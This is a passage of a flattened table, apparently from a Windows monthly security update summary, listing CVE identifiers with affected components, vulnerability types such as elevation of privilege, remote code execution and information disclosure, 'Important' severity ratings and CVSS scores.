No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  